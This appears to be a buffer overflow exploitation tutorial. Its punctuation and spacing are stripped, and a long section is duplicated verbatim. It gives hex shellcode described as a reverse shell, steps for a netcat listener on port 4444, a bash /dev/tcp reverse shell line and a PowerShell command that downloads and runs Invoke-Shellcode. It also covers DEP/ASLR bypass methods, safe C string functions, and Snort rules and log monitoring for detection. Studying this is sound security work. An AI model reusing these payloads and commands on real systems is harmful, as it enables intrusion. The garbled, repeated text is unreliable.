KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

